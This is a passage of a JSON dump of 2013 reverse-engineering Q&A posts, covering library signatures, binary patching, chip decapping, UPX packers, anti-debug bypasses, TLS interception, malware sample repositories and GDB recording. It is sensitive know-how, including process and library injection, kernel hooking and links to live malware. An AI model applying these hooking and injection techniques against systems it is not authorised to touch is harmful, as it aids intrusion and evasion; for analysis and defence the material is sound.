        "Answer": "<p>FLIRT stands for <strong>Fast Library Identification and Recognition Technology</strong>.</p>\n\n<p>Peter explained the basics, but here's a white paper about how it's implemented:</p>\n\n<p><a href=\"https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml\">https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml</a></p>\n\n<blockquote>\n  <p>To address those issues, we created a database of all the functions\n  from all libraries we wanted to recognize. IDA now checks, at each\n  byte of the program being disassembled, whether this byte can mark the\n  start of a standard library function. </p>\n  \n  <p>The information required by the recognition algorithm is kept in a\n  signature file. Each function is represented by a pattern. Patterns\n  are first 32 bytes of a function where all variant bytes are marked.</p>\n</blockquote>\n\n<p>It's somewhat old (from IDA 3.6) but the basics still apply.</p>\n\n<p>To create your own signatures, you'll need FLAIR tools, which can be downloaded separately.<br>\n(FLAIR means Fast Library Acquisition for Identification and Recognition)</p>\n\n<p>The IDA Pro book has <a href=\"http://my.safaribooksonline.com/9781593273750/library_recognition_using_flirt_signatur\">a chapter</a> on FLIRT and using FLAIR tools.</p>\n"
    },
    {
        "Id": "185",
        "CreationDate": "2013-03-23T13:55:12.740",
        "Body": "<p>I want to add some functionality to an existing binary file. The binary file was created using <code>gcc</code>. </p>\n\n<ul>\n<li>Do I need to decompile the binary first, even though I sufficiently understand the functioning of the program ? </li>\n<li>How should I go about adding the necessary code ?</li>\n<li>Do I need any tools to be able to do this ?</li>\n</ul>\n",
        "Title": "How do I add functionality to an existing binary executable?",
        "Tags": "|linux|c|executable|hll-mapping|",
        "Answer": "<p>&quot;ptrace()&quot; was casually mentioned by Giles.   But I think it deserved a whole section by itself.   &quot;ptrace()&quot; is a system call API provided by OS (Linux and all UNIX have it, and so do Windows) to exert debug control over another process.   When you used PTRACE_ATTACH (as part of ptrace()) to attach to another process, the kernel will pause the CPU running that process completely, allowing you to make changes to ANY part of the process: CPU, any registers, any part of that process memory etc.   That is how dynamic inline hooking work.    (ptrace() attach, modify binary in-memory, and then ptrace() unattached).   As far as I know, all dynamic modification of another process has to use ptrace() - as that is the only mechanism provided by kernel to guarantee integrity via system call at this point.</p>\n<p>But recently similar API like utrace() is popping up, and so\ninline hooking is also theoretically possible:</p>\n<p><a href=\"http://landley.net/kdocs/ols/2007/ols2007v1-pages-215-224.pdf\" rel=\"nofollow noreferrer\">http://landley.net/kdocs/ols/2007/ols2007v1-pages-215-224.pdf</a></p>\n<p>For kernel hooking, there are many methods:   syscall, interrupt, and inline hooking.   This is for interrupt hooking:</p>\n<p><a href=\"http://mammon.github.io/Text/linux_hooker.txt\" rel=\"nofollow noreferrer\">http://mammon.github.io/Text/linux_hooker.txt</a></p>\n<p>When the CPU is in STOP mode, basically you can do anything you like to the CPU/memory space/register - just make sure you restore back to its original state before returning to the original address where it stopped.</p>\n<p>And if you use library inject technique, you can implement any functionalities - calling remote libraries, remote shell etc:</p>\n<p><a href=\"https://attack.mitre.org/techniques/T1055/001/\" rel=\"nofollow noreferrer\">https://attack.mitre.org/techniques/T1055/001/</a></p>\n<p><a href=\"https://stackoverflow.com/questions/24355344/inject-shared-library-into-a-process\">https://stackoverflow.com/questions/24355344/inject-shared-library-into-a-process</a></p>\n<p><a href=\"https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/\" rel=\"nofollow noreferrer\">https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/</a></p>\n"
    },
    {
        "Id": "187",
        "CreationDate": "2013-03-23T14:05:44.343",
        "Body": "<p>I've seen numerous examples of people essentially <a href=\"http://www.youtube.com/watch?v=mT1FStxAVz4\">dissolving away the resin</a> from integrated circuits in boiling high strength acid in order to expose the raw silicon chip underneath. My general understanding is that this has, from time to time, allowed for attackers to determine 'secret' information like crypto keys and the like. \nIn addition, undocumented functionality can be determined and unlocked by doing this in some cases. </p>\n\n<p>How can one go about 'reading data' from raw silicon? What kind of other benefits can you obtain from hardware level reverse engineering?</p>\n",
        "Title": "What kind of information can i get from reverse engineering an integrated circuit package",
        "Tags": "|hardware|integrated-circuit|",
        "Answer": "<p>There are various techniques used and I'll list some.</p>\n<ol>\n<li><p><strong>Probing while operating</strong> - if you have a probe station you can operate the device and probe intermediate signals within the die.  This requires that the encapsulations (usually Si#N4 -or sometimes Polyimide) needs to also have been removed.  Once this is removed the chip has a limited life, but you can't probe through that.</p>\n<p>Also, the feature size of the chip on top metal must also be large enough to be able to probe.  In most modern processes this is very problematic as even on the coarsest resolution layers it is still far too small for probing.</p>\n<p>In this case, we use a FIB (Focused Ion Beam) machine to cut and also to add test points on the chip.  In this case, you'd leave the passivation on and the pad is deposited on top of the passivation.  The FIB then cuts through the passivation and connects to the traces below.  These machines are typically charged out at $100's per hour.</p>\n</li>\n<li><p><strong>Delayering -</strong>  The chip is etched layer by layer and photographs and/or electron micrographs are taken at each stage.  Understanding the construction of the devices will allow you to regenerate the device structure down to the Si.  Here dimensions are important.  Understanding the implants into the Si itself requires the use of SIMS (Secondary Ion Mass Spectrograph) machine and tiny holes are milled into the substrate the ions are vacuumed into a Mass spectrometer machine and the species and doping profiles are shown as the machine drills down.</p>\n<p>There are lots of other machines that are used that can help determine species and doping levels.</p>\n</li>\n<li><p>The two techniques above cannot help if there are flash or EEPROM devices, because the state of the device is set by the presence or absence of charge, which you can't read.  In this case, there are other tools that are used.  You would delayer to just above the gate levels and try to read the stored charge on the floating gate using various techniques like AFM (with the ability to read electron affinity- special attachment).  There are even techniques that can be used such as SEM with surface contrast enhancement that allows you to monitor a running chip almost like a strobe light.  But this requires that the device can have significant metal layers removed and STILL be operational.  Which is not usual.</p>\n</li>\n</ol>\n<p>To fully RE a chip you will require multiple chips and you progressively learn as you slowly step through the various layers.</p>\n<p>There are many different techniques used, most are developed to help designers debug problems rather than to RE, this is only a short overview at best.</p>\n"
    },
    {
        "Id": "197",
        "CreationDate": "2013-03-23T18:38:09.513",
        "Body": "<p>A lot of code I encounter today has a considerable amount of code generated at runtime, making analysis extremely laborious and time consuming.</p>\n\n<p>Is there any way I can create symbolic names for the various functions introduced by the JIT compiler that keep cropping up, or for the various artifacts (such as type information) introduced into the executable through the JIT compiler in GDB or WinDBG?</p>\n",
        "Title": "How can I analyze a program that uses a JIT compiled code?",
        "Tags": "|debuggers|",
        "Answer": "<p>Yep, the answer depends on what exactly you are trying to achieve.</p>\n\n<p>In terms of analyzing the .NET app itself, you can get a complete source code by using, e.g. DotPeek written by JetBrains. You can even export it into a fully-functional Visual Studio Project, build it and debug. However, some apps may be obfuscated.</p>\n\n<p>Another scenario is when a .NET app is a part of another application written in another language (e.g. C++). In this case, most likely .NET code is compiled into DLL which is also can be disassembled using apps like DotPeek.</p>\n\n<p>Probably, there are may exist much more complex scenarios like a custom JIT-compiler, embedded into a malware. In such cases, the most reasonable way may be to write a custom plugin (e.g. using IDAPython for IDA Pro). This plugin should be aware of data structures or behavior and can assist you in each step of a reverse engineering process. But writing a custom plugin may require a lot of knowledge of the underlying language and may be a challenge on its own.</p>\n"
    },
    {
        "Id": "198",
        "CreationDate": "2013-03-23T20:12:39.453",
        "Body": "<p>Recently I asked a <a href=\"https://reverseengineering.stackexchange.com/q/168/214\"> question about detecting UPX compression</a>. <a href=\"https://reverseengineering.stackexchange.com/users/245/0xc0000022l\">0xC0000022L</a> wanted to know if it was plain UPX. However until that point I only was aware of <a href=\"http://upx.sourceforge.net/\" rel=\"nofollow noreferrer\">plain UPX</a>. So my question is:</p>\n\n<ul>\n<li>What versions/modifications of UPX exist?</li>\n<li>How do they differ? What features do they have?</li>\n</ul>\n",
        "Title": "What different UPX formats exist and how do they differ?",
        "Tags": "|upx|",
        "Answer": "<p>First, let's see UPX structure.</p>\n\n<h1>UPX Structure</h1>\n\n<ol>\n<li><p>Prologue</p>\n\n<ol>\n<li><p>CMP / JNZ for DLLs parameter checks</p></li>\n<li><p>Pushad, set registers</p></li>\n<li><p>optional NOP alignment</p></li>\n</ol></li>\n<li><p>Decompression algorithm</p>\n\n<ul>\n<li>whether it's NRV or LZMA</li>\n</ul></li>\n<li><p>Call/Jumps restoring</p>\n\n<ul>\n<li>UPX transform relative calls and jumps into absolute ones, to improve compression. </li>\n</ul></li>\n<li><p>Imports</p>\n\n<ul>\n<li>load libraries, resolve APIs</li>\n</ul></li>\n<li><p>Reset section flags</p></li>\n<li><p>Epilogue</p>\n\n<ul>\n<li>clean stack</li>\n<li>jump to the original EntryPoint</li>\n</ul></li>\n</ol>\n\n<p>For more details, <a href=\"http://corkami.googlecode.com/files/upx-idb.zip\">here</a> is a commented IDA (free version) IDB of a UPX-ed PE.</p>\n\n<h1>modified UPX variants</h1>\n\n<p>Simple parts like prologue/epilogue are easy to modify, and are consequently often modified:</p>\n\n<ul>\n<li>basic polymorphism: replacing an instruction with an equivalent</li>\n<li>moving them around with jumps</li>\n</ul>\n\n<p>Complex parts like decompression, calls restoration, imports loading are usually kept unmodified, so usually, custom code is inserted between them:</p>\n\n<ul>\n<li>an anti-debug</li>\n<li>an extra xor loop (after decompression)</li>\n<li>a marker that will be checked further in the unpacked code, so that the file knows it was unpacked.</li>\n</ul>\n\n<h2>faking</h2>\n\n<p>As the prologue doesn't do much, it's also trivial to copy it to the EntryPoint of a non UPX-packed PE, to fool identifiers and fake UPX packing.</p>\n"
    },
    {
        "Id": "206",
        "CreationDate": "2013-03-23T21:36:15.177",
        "Body": "<p>It seems that a popular use of software reverse engineering skills is to reverse malicious code in an effort to build better protection for users.</p>\n\n<p>The bottleneck here for people aspiring to break into the security industry through this path seems to be easy access to new malicious code samples to practice on and build heuristics for.</p>\n\n<p>Are there any good resources for a person unaffiliated with any organization to download malware in bulk to run analysis on?</p>\n",
        "Title": "Where can I, as an individual, get malware samples to analyze?",
        "Tags": "|malware|",
        "Answer": "<p><strong>theZoo</strong><br>\ntheZoo is a project created to make the possibility of malware analysis open and available to the public. Since we have found out that almost all versions of malware are very hard to come by in a way which will allow analysis we have decided to gather all of them for you in an available and safe way. theZoo was born by Yuval tisf Nativ and is now maintained by Shahak Shalev.<br>\n<a href=\"https://github.com/ytisf/theZoo/tree/master/malwares/Source\" rel=\"nofollow\">Malware Source</a><br>\n <a href=\"https://github.com/ytisf/theZoo/tree/master/malwares/Binaries\" rel=\"nofollow\">Malware Binaries</a></p>\n"
    },
    {
        "Id": "209",
        "CreationDate": "2013-03-23T22:18:53.200",
        "Body": "<p>I'm sure many of you are familiar with this classic antidebug trick accomplished by calling <code>ZwSetInformationThread</code> with <code>ThreadInformationClass</code> set to 0x11. Although many OllyDbg modules exist for the purposes of revealing the existence of threads hidden with this method, I haven't been able to find any information on the canonical technique employed to unhide these threads in OllyDbg. </p>\n\n<p>Is the function generally hooked in user mode (e.g <code>SetWindowsHookEx</code>), or is it more pragmatic to patch instructions that either call the NTDLL function directly or system calls which indirectly invoke it?</p>\n",
        "Title": "Canonical method to circumvent the ZwSetInformationThread antidebugging technique",
        "Tags": "|windows|anti-debugging|",
        "Answer": "<p>SetWindowsHookEx isn't really used for this sort of hooking as far as I'm aware. </p>\n\n<p>You could hook NtSetInformationThread in the import of the binary you want to analyze and make it always return success on ThreadHideFromDebugger but not forward the call to the actual function. This would be weak since GetProcAddress or manual imports would bypass it.</p>\n\n<p>You could hook the NtSetInformationThread function by inserting a call to your own function in the function prologue and then ignore ThreadHideFromDebugger while forwarding the rest to the original function.</p>\n\n<p>I strong advice against it but for the sake of completeness, you could also hook NtSetInformationThread in the <a href=\"http://en.wikipedia.org/wiki/System_Service_Dispatch_Table\" rel=\"noreferrer\">system service dispatch table</a>. There's a good dump of the table for different Windows versions <a href=\"http://j00ru.vexillium.org/ntapi/\" rel=\"noreferrer\">here</a>. If you want to get the index in the table yourself you can just disassemble the NtSetInformationThread export from ntdll.dll.</p>\n\n<p>If you're interested in more anti-debugging techniques strongly recommend reading <a href=\"http://pferrie.host22.com/papers/antidebug.pdf\" rel=\"noreferrer\">Peter Ferrie's awesome anti-debugging reference</a>.</p>\n"
    },
    {
        "Id": "211",
        "CreationDate": "2013-03-23T23:42:30.040",
        "Body": "<p>In Windows Store application development for Windows 8, there is a class called remoteSettings that lets a developer store batches of data so that the user will have access to it across several machines, as long as they are logged in with the same account. </p>\n\n<p>I hooked up WireShark and discovered that the packet is stored in Azure, and is secured with TLS. I would like to MITM myself so that I can decrypt the packet and see if the data in encrypted on Azure.</p>\n\n<p>I obviously don't have the private key for Azure, so I'd like to know if anyone has an idea on how to accomplish that MITM analysis.</p>\n",
        "Title": "Decryping TLS packets between Windows 8 apps and Azure",
        "Tags": "|decryption|windows-8|",
        "Answer": "<p>Most probably Windows 8 is using <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa385483%28v=vs.85%29.aspx\" rel=\"nofollow\">WinINet</a> to connect with the App Store. If this is the case, you can see the unencrypted streams hooking into the wininet.dll instead of using a proxy. <a href=\"https://code.google.com/p/hookme/\" rel=\"nofollow\">HookME</a> does this and it was presented last year in BlackHat.</p>\n\n<p>Probably you need to make some minor changes to compile and use it under Windows 8.</p>\n"
    },
    {
        "Id": "230",
        "CreationDate": "2013-03-24T13:41:43.673",
        "Body": "<p>I found a 14 pin integrated circuit with no visible markings. I have no information about its functioning. How should I go about trying to explore its functionality without <a href=\"https://reverseengineering.stackexchange.com/questions/187/what-kind-of-information-can-i-get-from-reverse-engineering-an-integrated-circui\">destroying</a> it ?</p>\n\n<p>I have a lot of analog components such as resistors, capacitors and inductors, a variable power source (1V-14V) and a multimeter at hand.</p>\n",
        "Title": "How should I go about investigating an IC's functionality without destroying it?",
        "Tags": "|hardware|integrated-circuit|",
        "Answer": "<p>Given you have a 14 pin package it could be almost anything from a op-amp(s) to 74XX series logic.</p>\n\n<p>Start with a continuity tester and see if there are any pins that are obviously shorted together.  If so that would be a big hint that they maybe power rails.  Also look for common pinouts (Vcc, Vss on corners pins 7,14 etc.).  THen use a diode checker and to determine the connectivity of these pins, where to you see opens and shorts, Vforward etc.  You will start to see which pins are wired and likely which are +'ve rails and ground -'ve rails.  Do keep in mind that there will be ESD protection diodes you will see.  If there are no diodes at all then there is a chance that that pin might be a Analog input.</p>\n\n<p>Next set your power supply current limit to very low and power up the device via the pins that you thing are the rails.  Be aware that you can power up a device through an input pin through the ESD structures, but that is noticeable because outputs will have a output voltage that is one diode drop below rails on them.  Increase current limit and test probe and slowly work your way into understanding the chip, eliminating possibilities as you go.  IS it an op-amp or logic?  An open loop op-amp will act somewhat \"digital\" but probably won't go to the rails.</p>\n\n<p>The permutations and combinations of possibilities and techniques rapidly expand from this point forward.</p>\n"
    },
    {
        "Id": "234",
        "CreationDate": "2013-03-24T14:59:36.647",
        "Body": "<p>I extracted a .hex file from a PIC16F88. For example:</p>\n\n<pre><code>:020000040000FA\n:100000008F3083160F0570388F009B0183129F017C\n:1000100083169F0107309C0005108312051483127C\n:1000200003131730A0006730A1002930A2000A1284\n:100030008A11A20B17280A128A11A10B15280A127D\n:100040008A11A00B13280510831203131730A00088\n:100050006730A1002930A2000A128A11A20B2C28B5\n:100060000A128A11A10B2A280A128A11A00B282829\n:020070000D2859\n:02400E00782F09\n:02401000FF3F70\n:00000001FF\n</code></pre>\n\n<p>In MPLAB, I imported this .hex file and found the disassembly code, in this case:</p>\n\n<pre><code> 1   000     308F  MOVLW 0x8f                             \n 2   001     1683  BSF 0x3, 0x5                           \n 3   002     050F  ANDWF 0xf, W                           \n 4   003     3870  IORLW 0x70                             \n 5   004     008F  MOVWF 0xf                              \n 6   005     019B  CLRF 0x1b                              \n 7   006     1283  BCF 0x3, 0x5                           \n 8   007     019F  CLRF 0x1f                              \n 9   008     1683  BSF 0x3, 0x5                           \n10   009     019F  CLRF 0x1f                              \n11   00A     3007  MOVLW 0x7                              \n12   00B     009C  MOVWF 0x1c                             \n13   00C     1005  BCF 0x5, 0                             \n14   00D     1283  BCF 0x3, 0x5                           \n15   00E     1405  BSF 0x5, 0                             \n16   00F     1283  BCF 0x3, 0x5                           \n17   010     1303  BCF 0x3, 0x6                           \n18   011     3017  MOVLW 0x17                             \n19   012     00A0  MOVWF 0x20                             \n20   013     3067  MOVLW 0x67                             \n21   014     00A1  MOVWF 0x21                             \n22   015     3029  MOVLW 0x29                             \n23   016     00A2  MOVWF 0x22                             \n24   017     120A  BCF 0xa, 0x4                           \n25   018     118A  BCF 0xa, 0x3                           \n26   019     0BA2  DECFSZ 0x22, F                         \n27   01A     2817  GOTO 0x17                              \n28   01B     120A  BCF 0xa, 0x4                           \n29   01C     118A  BCF 0xa, 0x3                           \n30   01D     0BA1  DECFSZ 0x21, F                         \n31   01E     2815  GOTO 0x15                              \n32   01F     120A  BCF 0xa, 0x4                           \n33   020     118A  BCF 0xa, 0x3                           \n34   021     0BA0  DECFSZ 0x20, F                         \n35   022     2813  GOTO 0x13                              \n36   023     1005  BCF 0x5, 0                             \n37   024     1283  BCF 0x3, 0x5                           \n38   025     1303  BCF 0x3, 0x6                           \n39   026     3017  MOVLW 0x17                             \n40   027     00A0  MOVWF 0x20                             \n41   028     3067  MOVLW 0x67                             \n42   029     00A1  MOVWF 0x21                             \n43   02A     3029  MOVLW 0x29                             \n44   02B     00A2  MOVWF 0x22                             \n45   02C     120A  BCF 0xa, 0x4                           \n46   02D     118A  BCF 0xa, 0x3                           \n47   02E     0BA2  DECFSZ 0x22, F                         \n48   02F     282C  GOTO 0x2c                              \n49   030     120A  BCF 0xa, 0x4                           \n50   031     118A  BCF 0xa, 0x3                           \n51   032     0BA1  DECFSZ 0x21, F                         \n52   033     282A  GOTO 0x2a                              \n53   034     120A  BCF 0xa, 0x4                           \n54   035     118A  BCF 0xa, 0x3                           \n55   036     0BA0  DECFSZ 0x20, F                         \n56   037     2828  GOTO 0x28                              \n57   038     280D  GOTO 0xd   \n</code></pre>\n\n<p>Now I want to know with what compiler this code is compiled. How can I do that? I'm looking for <em>general</em> ways to check what compiler made some ASM code. The code listed is just an example.</p>\n",
        "Title": "How to see what compiler made PIC ASM code?",
        "Tags": "|disassembly|compilers|pic|hex|",
        "Answer": "<p>(Answer converted from comment)</p>\n\n<p>Recovering the toolchain provenance of the binary code you've specified, at the very least, requires comparing the results of various PIC compilers, I don't know PIC assembly but the last two instructions look interesting for identifying the compiler (Provided your disassembler has misinterpreted the information at <code>0x38</code>, how can the instruction possibly be called?). </p>\n\n<p>Some compilers generate prologues to functions intended for quick-n-dirty later patching that can be a giveaway as well. Best of luck! </p>\n"
    },
    {
        "Id": "243",
        "CreationDate": "2013-03-24T17:46:39.220",
        "Body": "<p>A curious and useful feature of GDB is <a href=\"http://sourceware.org/gdb/current/onlinedocs/gdb/Process-Record-and-Replay.html#Process-Record-and-Replay\">process recording</a>, allowing an analyst to step forwards and backwards through execution, writing a continuous log of the changes to program state that allow for remarkably accurate playback of program code.</p>\n\n<p>Although we can all safely say the process recording log contains the executable's changes to the various data and control registers, the functionality is much more than keeping some serialized representation of the current continuation. For example, I've been able to reify the state of an executable that uses threads to modify shared memory.</p>\n\n<p>Certainly we can't expect time dependent code to work, but if threading code modifying shared state can, in general, be stepped through backwards and <em>still work reliably again</em>, what limitations does process recording have beyond the purely architectural challenges (i.e displaced stepping) specified in the documentation?</p>\n",
        "Title": "How does GDB's process recording work?",
        "Tags": "|gdb|debuggers|",
        "Answer": "<p>The feature is described in a bit more detail on <a href=\"http://sourceware.org/gdb/wiki/ProcessRecord\" rel=\"noreferrer\">GDB wiki</a>:</p>\n<blockquote>\n<h2>How it works</h2>\n<p>Process record and replay works by logging the execution of each\nmachine instruction in the child process (the program being debugged),\ntogether with each corresponding change in machine state (the values\nof memory and registers). By successively &quot;undoing&quot; each change in\nmachine state, in reverse order, it is possible to revert the state of\nthe program to an arbitrary point earlier in the execution. Then, by\n&quot;redoing&quot; the changes in the original order, the program state can be\nmoved forward again.</p>\n</blockquote>\n<p><a href=\"http://www.ckernel.org/news/hellogcc/prec.pdf\" rel=\"noreferrer\">This presentation</a> describes even more of the internals.</p>\n<p>In addition to above, for some remote targets GDB can make use of their &quot;native&quot; <a href=\"http://sourceware.org/gdb/current/onlinedocs/gdb/Reverse-Execution.html\" rel=\"noreferrer\">reverse execution</a> by sending Remote Serial Protocol <a href=\"http://sourceware.org/gdb/current/onlinedocs/gdb/Packets.html\" rel=\"noreferrer\">packets</a> <code>bc</code> (backward continue) and <code>bs</code> (backward step). Such targets <a href=\"http://sourceware.org/gdb/news/reversible.html\" rel=\"noreferrer\">include</a>:</p>\n<ul>\n<li>moxie-elf simulator</li>\n<li>Simics</li>\n<li>VMware Workstation 7.0</li>\n<li>the SID simulator (xstormy16 architecture)</li>\n<li>chronicle-gdbserver using valgrind</li>\n<li>UndoDB</li>\n</ul>\n"
    },
    {
        "Id": "250",
        "CreationDate": "2013-03-25T09:56:00.087",
        "Body": "<p>I see this instruction in the beginning of several Windows programs.\nIt's copying a register to itself, so basically, this acts as a <code>nop</code>.\nWhat's the purpose of this instruction?</p>\n",
        "Title": "What is the purpose of 'mov edi, edi'?",
        "Tags": "|disassembly|windows|",
        "Answer": "<p>courtsey <strong>Hotpatching and the Rise of\nThird-Party Patches</strong> presentation at BlackHat USA 2006 by\n<strong>Alexander \nSotirov</strong></p>\n\n<p><strong>What Is Hotpatching?</strong>\nHotpatching is a method for modifying the behavior of an\napplication by modifying its binary code at runtime. It is a\ncommon technique with many uses:</p>\n\n<p>\u2022\ndebugging (software breakpoints)</p>\n\n<p>\u2022\nruntime instrumentation</p>\n\n<p>\u2022\nhooking Windows API functions</p>\n\n<p>\u2022\nmodifying the execution or adding new functionality to\nclosed-source applications</p>\n\n<p>\u2022\ndeploying software updates without rebooting</p>\n\n<p>\u2022\nfixing security vulnerabilities</p>\n\n<p><strong>Hotpatches</strong> are generated by an automated tool that\ncompares the original and patched binaries. The functions that\nhave changed are included in a file with a .hp.dll extension.\nWhen the hotpatch DLL is loaded in a running process, the first\ninstruction of the vulnerable function is replaced with a jump to\nthe hotpatch.</p>\n\n<p>The <strong>/hotpatch</strong> compiler option ensures that the first instruction of\nevery function is a \n<strong>mov \nedi, \nedi</strong> \ninstruction that can be safely\noverwritten by the hotpatch. Older versions of Windows are not\ncompiled with this option and cannot be hotpatched.</p>\n"
    },
    {
        "Id": "252",
        "CreationDate": "2013-03-25T14:41:09.427",
        "Body": "<p>I have an executable file and I would like to figure out which programming language was the source code written in. The first step would be to use a disassembler. </p>\n\n<p>What should be done after that ?</p>\n\n<p>Also, I read that determining which libraries are used during runtime would be a good indicator of the programming language being used. How should I determine which libraries are used ?</p>\n",
        "Title": "How should I go about trying to figure out the programming language that was used?",
        "Tags": "|linux|executable|",
        "Answer": "<p>There are several tools that I have used:</p>\n\n<ol>\n<li><a href=\"http://tuts4you.com/download.php?view.398\">PEiD</a> (PE iDentifier)</li>\n<li>I've also followed <a href=\"https://code.google.com/p/pefile/wiki/PEiDSignatures\">this guide</a> and converted PEiD signatures to YARA signatures and simply used <a href=\"https://code.google.com/p/yara-project/\">YARA</a></li>\n<li><a href=\"http://mark0.net/soft-trid-e.html\">TRiD</a> can also provide another way to identify the compiler used</li>\n</ol>\n\n<p>It's also worth mentioning that if you submit a file to <a href=\"https://www.virustotal.com\">Virus Total</a>, they will run TRiD against your binary.</p>\n\n<p>These tools are not always definitive, but they can generally give you the correct compiler (and therefore language) that was used.</p>\n"
    },
    {
        "Id": "255",
        "CreationDate": "2013-03-25T17:02:44.300",
        "Body": "<p>A disassembler is supposed to produce a human readable representation of the binary program. But the most well known techniques: <em>linear sweep</em> and <em>recursive traversal</em> (see this <a href=\"https://reverseengineering.stackexchange.com/questions/139/what-are-the-techniques-disassemblers-use-to-process-a-binary/140#140\">comment</a> for more) are known to be easily mislead by specific tricks. Once tricked, they will output code that will never be executed by the real program.</p>\n\n<p>Thought there exists new techniques and new tools more concerned about correctness (eg <a href=\"http://www.jakstab.org/\" rel=\"nofollow noreferrer\">Jakstab</a>, <a href=\"http://www.grammatech.com/research/technologies/mcveto\" rel=\"nofollow noreferrer\">McVeto</a>, ...), the notion of <em>correctness</em> of the output has never been properly defined, up to my knowledge, for disassemblers.</p>\n\n<p>What would be a good definition of a disassembler, what would be a proper definition of correctness for its output and how would you classify the existing disassemblers in regard of this definition of <em>correction</em> ?</p>\n",
        "Title": "What is a correct disassembler?",
        "Tags": "|obfuscation|disassembly|static-analysis|",
        "Answer": "<p>I'm the author of <a href=\"http://rainbowsandpwnies.com/rdis/\">rdis</a> and have put a bit of thought into this problem. I recommend taking a look at my <a href=\"http://rainbowsandpwnies.com/~endeavor/blog/\">blog</a> if you have more questions after this.</p>\n\n<p>I would also refer you to Andrew Ruef's blog post <a href=\"http://www.mimisbrunnr.net/~munin/blog/binary-analysis-isnt.html\">Binary Analysis Isn't</a>. The key take away is we often attempt to understand our programs with the context of compilers, and not necessarily as just a continuum of instructions. He coins the term, \"Compiler Output Analysis,\" which is more or less what we attempt to achieve in our disassemblers.</p>\n\n<h2>Terms and Definitions</h2>\n\n<p>Start over with your definitions of terms common to disassembly. We have data, or state, which can be composed of memory, registers,  all the good stuff. We have code, which is <em>a label we apply to data we expect the machine to execute</em> (we'll come back to code). We have a program, which is an algorithm encoded in the data which, when interpreted by a machine, causes the data to be manipulated in a certain way. We have a machine which is a mapping of one state to another. We have instructions which, for our purposes, exist at a single point in time and are composed of specific pieces of data which control the way our machine manipulates data.</p>\n\n<p>Often times we believe our goal is the transformation of code, the data we expect to be executed by the machine, into a readable disassembly. I believe we do this because of our division of program analysis between Control-Flow Analysis (Code) and Data-Flow Analysis (Data). In program analysis, our code is state-less, and our data has state. In reality, our code is just data, it all has state.</p>\n\n<h2>Program Recovery</h2>\n\n<p>Instead, our goal should be the recovery of the program by observation or prediction of the machine. In other words, we are not interested in transforming data into a readable disassembly, but in discovering the instructions which will be interpreted by our machine.</p>\n\n<p>Additionally, our representation of the program should be stored <em>separately</em> from our stateless representation of data, which is usually the initial memory layout given to us by our executable file (ELF/PE/MACH-O/etc). Really, it should be stored in a directed graph. When I see a linear representation of memory with multiple locations labelled as instructions, I shutter. You don't know yet!</p>\n\n<p>I believe the next step in disassembly involves processes which make better predictions about machines by allowing for changes in state during the disassembly process. I believe we will have both emulated disassembly and abstract disassembly. Some people are, more or less, doing this already, though I am unsure if anyone is doing it expressly for the purpose of creating usable and understandable \"program recoveries\".</p>\n\n<p>You can see an example of the difference between a recursive disassembly of a program and an emulated disassembly of a program <a href=\"http://rainbowsandpwnies.com/~endeavor/blog/a-magical-time-traveling-control-flow-graph.html\">here</a>.</p>\n\n<h2>What is a correct disassembler?</h2>\n\n<p>So, now to answer your question, \"What is a correct disassembler?\" I believe a correct disassembler is one which clearly defines the behavior of its program recovery process and adheres to this definition. Once we get disassemblers which do THAT, the better disassemblers will be the ones whose definitions best predict the behavior of the machines for which they recover programs.</p>\n"
    },
    {
        "Id": "261",
        "CreationDate": "2013-03-25T21:45:01.723",
        "Body": "<p>How should I begin trying to reverse engineer this file format? The only thing I can think of is saving a simple file, and then dig in with a hex editor. But since the file format may be some kind of archive, that seems like the wrong approach. I've always been a little interested in the idea of reverse-engineering a file format, but I never actually attempted it. How should I begin?</p>\n\n<p>In particular, I am interested in <a href=\"http://smarttech.com/us/Solutions/Education+Solutions/Products+for+education/Software/SMART+Notebook+collaborative+learning+software/SMART+Notebook+collaborative+learning+software\">Smart Notebook</a> which loads and saves data into .notebook files.  This is an undocumented proprietary file format. SMART is the leading manufacturer of white boards and their notebook software is therefore one of the most popular formats for educational (presentation) content. There is an open standard for whiteboard files and <a href=\"http://open-sankore.org/\">Open Sankore</a> is an open source program that can open and save them.  However, Smart Notebook is not fully compatible with the open whiteboard format so I really would like to understand the .notebook file format so that I can write software that makes use of it. The open stand (.iwb files) are zip archives that contain images and SVG data. It occurs to me that .notebook files may also be compressed or at least contain a number of sub-files within it (like images and swf files).  </p>\n",
        "Title": "How to reverse engineer a proprietary data file format (e.g. Smartboard Notebook)?",
        "Tags": "|file-format|",
        "Answer": "<p>Well, obviously the particulars will very much depend on the particulars of the file format and what you expect to achieve in general. However, some steps will largely be the same. One thing you could do is:</p>\n\n<ol>\n<li>try hard to find all kinds of clues about the format. This can be a small note in some bulletin board or the cached copy of some year old website that has since vanished. Often the gems won't pop up as top search results when you are looking for something specific enough. Weeding through pages of search results <em>can make sense</em>. Als make sure to use tools such as <code>file</code> which look for magic bytes and would be able to identify things not obvious to the naked eye.</li>\n<li>find a proprietary program that uses the format and is able to read/write it (you seem to have that)\n<ol>\n<li>Use a trial &amp; error technique such as making distinct changes to the document, saving them and observing and noting down the differences, AFAIK this is how the MS Office file formats were decoded initially for StarOffice (now OOo and LibreOffice)</li>\n<li>reverse engineer the program itself to find the core routines reading and writing the data format</li>\n</ol></li>\n<li>find an open source program in the same way -> read its source</li>\n</ol>\n\n<p>If you understand the language in which the program from option 3 is written, no problem at all. If you don't have that or if you are faced with other challenges then you have to resort to the good old technique outlined in point 2, patching gaps with pieces you gather with method 1.</p>\n\n<p>The point 2.1 should be obvious: you want to find out how recursive text is encoded? Type some text, format it, save, observe the change. Rinse, lather, repeat.</p>\n\n<p>Point 2.2 will take a lot more effort and should likely be used sparsely to make sure you got details from 2.1 right.</p>\n"
    },
    {
        "Id": "265",
        "CreationDate": "2013-03-25T23:14:30.373",
        "Body": "<p>Can someone give a list of websites with good (and free) reverse engineering training exercises ?</p>\n",
        "Title": "Where to find (free) training in reverse engineering?",
        "Tags": "|obfuscation|cryptography|",
